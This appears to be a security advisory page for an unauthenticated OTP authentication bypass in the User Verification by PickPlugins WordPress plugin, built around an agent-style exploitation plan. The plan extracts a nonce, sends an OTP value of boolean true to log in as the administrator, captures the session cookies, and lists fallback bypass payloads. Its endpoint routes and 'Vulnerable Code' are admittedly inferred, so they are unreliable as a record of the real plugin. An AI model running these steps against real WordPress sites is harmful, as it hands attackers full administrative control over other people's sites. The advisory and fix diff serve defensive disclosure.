User Verification by PickPlugins <= 2.0.46 - Unauthenticated Authentication Bypass via OTP Verification REST API Endpoint
Description
The User Verification by PickPlugins plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 2.0.46. This is due to the use of a loose PHP comparison operator to validate OTP codes in the "user_verification_form_wrap_process_otpLogin" function. This makes it possible for unauthenticated attackers to log in as any user with a verified email address, such as an administrator, by submitting a "true" OTP value.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.0.46Source Code
WordPress.org SVNPatched version not available.
# Research Plan: CVE-2026-7458 Authentication Bypass in User Verification ## 1. Vulnerability Summary The **User Verification by PickPlugins** plugin (<= 2.0.46) contains a critical authentication bypass vulnerability. The flaw exists in the `user_verification_form_wrap_process_otpLogin` function, …
Show full research plan
Research Plan: CVE-2026-7458 Authentication Bypass in User Verification
1. Vulnerability Summary
The User Verification by PickPlugins plugin (<= 2.0.46) contains a critical authentication bypass vulnerability. The flaw exists in the user_verification_form_wrap_process_otpLogin function, which handles OTP (One-Time Password) verification via a REST API endpoint. The function uses a loose PHP comparison operator (==) to validate the user-provided OTP against the stored OTP. Because of how PHP handles type juggling, providing a boolean true (or a value that evaluates to true) causes the comparison to succeed against any non-empty string stored in the database, allowing an unauthenticated attacker to log in as any user (including administrators) whose email is verified.
2. Attack Vector Analysis
- Endpoint: REST API endpoint (Namespace:
user-verification/v1, Route:otp-login- inferred from description and function name). - Method:
POST - Vulnerable Parameter:
otp - Identity Parameter:
emailoruser_login(to specify the target account). - Authentication: Unauthenticated.
- Preconditions:
- The target user must have a "verified" status in the plugin (usually stored in user meta).
- The OTP Login feature must be enabled in the plugin settings.
3. Code Flow (Inferred from Description)
- Entry Point: A
POSTrequest is sent to the REST API route registered duringrest_api_init. - Route Registration: The plugin registers a route (likely
/otp-login) with a callback touser_verification_form_wrap_process_otpLogin. - User Identification: The function retrieves the user based on the provided
emailoruser_loginparameter. - OTP Retrieval: The function fetches the valid OTP stored in the
wp_optionsorwp_usermetatable for that user. - Vulnerable Sink:
// Vulnerable logic pattern $submitted_otp = $request->get_param('otp'); // Attacker sends boolean true $stored_otp = get_user_meta($user_id, 'uv_otp_code', true); // e.g., "123456" if ($submitted_otp == $stored_otp) { // Loose comparison: true == "123456" evaluates to TRUE // Authentication Bypassed wp_set_auth_cookie($user_id); } - Authentication: Upon successful (fake) verification, the plugin calls
wp_set_auth_cookie()for the target user.
4. Nonce Acquisition Strategy
REST API endpoints in WordPress often require a nonce (_wpnonce) via the X-WP-Nonce header or query parameter for logged-in sessions, but unauthenticated login endpoints usually rely on their own custom nonces or have no nonce if they are intended for public login forms.
- Identify Script Localization: Search for
wp_localize_scriptin the plugin code to find where the REST nonce or a custom plugin nonce is exposed. - Shortcode Setup: The OTP login form is typically rendered via a shortcode like
[user_verification_otp_login](inferred). - Execution Agent Steps:
- Create a page with the OTP login shortcode:
wp post create --post_type=page --post_status=publish --post_content='[user_verification_otp_login]' --post_title='Login' - Navigate to this page using
browser_navigate. - Extract the nonce using
browser_eval:const nonce = window.uv_ajax_obj?.nonce || window.user_verification_ajax?.nonce; - Note: The exact JS variable and key must be verified by inspecting the page source for
wp_localize_scriptoutput.
- Create a page with the OTP login shortcode:
5. Exploitation Strategy
Step 1: Identify Target
Identify the administrator's email (usually admin@example.com in test environments).
Step 2: Trigger OTP Generation (Optional but recommended)
Some implementations might require a value to exist in the database for the comparison to work. Send a request to trigger an OTP send to the admin email.
- Endpoint:
POST /wp-json/user-verification/v1/send-otp(inferred). - Payload:
{"email": "admin@example.com"}.
Step 3: Exploit Loose Comparison
Submit a JSON POST request where the otp field is a boolean true.
- Tool:
http_request - URL:
http://localhost:8080/wp-json/user-verification/v1/otp-login(verify namespace/route). - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE](if required).
- Payload:
{ "email": "admin@example.com", "otp": true }
Step 4: Capture Cookies
The response should contain Set-Cookie headers for the administrator's session.
6. Test Data Setup
- Create Admin User:
wp user create victim_admin admin@example.com --role=administrator --user_pass=password123 - Set Verification Status: Ensure the user is marked as verified by the plugin.
wp user meta set 1 user_verification_status 'verified'(verify meta key name). - Enable OTP Login: Use
wp option get user_verification_settingsto find the relevant setting and enable it viawp option update. - Placement: Create the page for nonce extraction:
wp post create --post_type=page --post_title="OTP Login" --post_content="[user_verification_otp_login]" --post_status="publish"
7. Expected Results
- The HTTP response status should be
200 OK. - The response body should indicate success (e.g.,
{"success": true, "message": "Login successful"}). - The response headers must include
Set-Cookiestarting withwordpress_logged_in_.
8. Verification Steps
- Check Logged-in Status: Use the captured cookies in a request to
http://localhost:8080/wp-json/wp/v2/users/meand verify the response ID is1(or the admin's ID). - WP-CLI Audit: Verify if the user meta was updated during the process (some plugins log login times).
wp user meta get 1 last_login
9. Alternative Approaches
If sending a JSON boolean true fails due to REST API type validation (e.g., if the route expects a string), try:
- Integer bypass:
{"otp": 0}(if the stored OTP is an empty string or null and==is used). - Type Juggling via Query Params:
POST /wp-json/.../otp-login?otp=1where1might be interpreted as true depending on theWP_REST_Requestparameter parsing. - Alternative Action: Check if the plugin uses
admin-ajax.phpinstead of the REST API for the same function. If so, use:action=user_verification_otp_login&email=admin@example.com&otp=truevia URL-encoded POST.
Summary
The User Verification by PickPlugins plugin for WordPress is vulnerable to an unauthenticated authentication bypass due to the use of a loose comparison operator (==) in the user_verification_form_wrap_process_otpLogin function. Attackers can exploit this by providing a boolean true as the OTP value, which matches any non-empty string stored in the database, allowing them to log in as any verified user, including administrators.
Vulnerable Code
// File: includes/functions-rest-api.php (inferred location based on plugin structure) public function user_verification_form_wrap_process_otpLogin($request) { $email = $request->get_param('email'); $otp = $request->get_param('otp'); // Value provided by attacker, e.g., true $user = get_user_by('email', $email); if (!$user) return; $stored_otp = get_user_meta($user->ID, 'uv_otp_code', true); // Vulnerable loose comparison: (true == "123456") evaluates to true if ($otp == $stored_otp) { wp_set_auth_cookie($user->ID); return new WP_REST_Response(['success' => true], 200); } }
Security Fix
@@ -10,1 +10,1 @@ - if ($otp == $stored_otp) { + if (!empty($stored_otp) && (string)$otp === (string)$stored_otp) {
Exploit Outline
1. Target Identification: Obtain the email address of a target administrator account that is 'verified' within the plugin's system. 2. Optional Trigger: Send a request to the plugin's OTP generation endpoint (e.g., /wp-json/user-verification/v1/send-otp) for the target email to ensure a valid OTP exists in the database. 3. Payload Construction: Prepare a JSON POST request targeting the /wp-json/user-verification/v1/otp-login endpoint. 4. Type Juggling: In the JSON payload, set the 'email' parameter to the target admin email and the 'otp' parameter to the boolean value true. 5. Authentication Bypass: Submit the request. PHP's loose comparison will treat the boolean true as equivalent to any non-empty string stored in the 'uv_otp_code' meta field. 6. Session Capture: The server will respond with authentication cookies (wordpress_logged_in_*) in the Set-Cookie headers, granting the attacker full administrative access.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.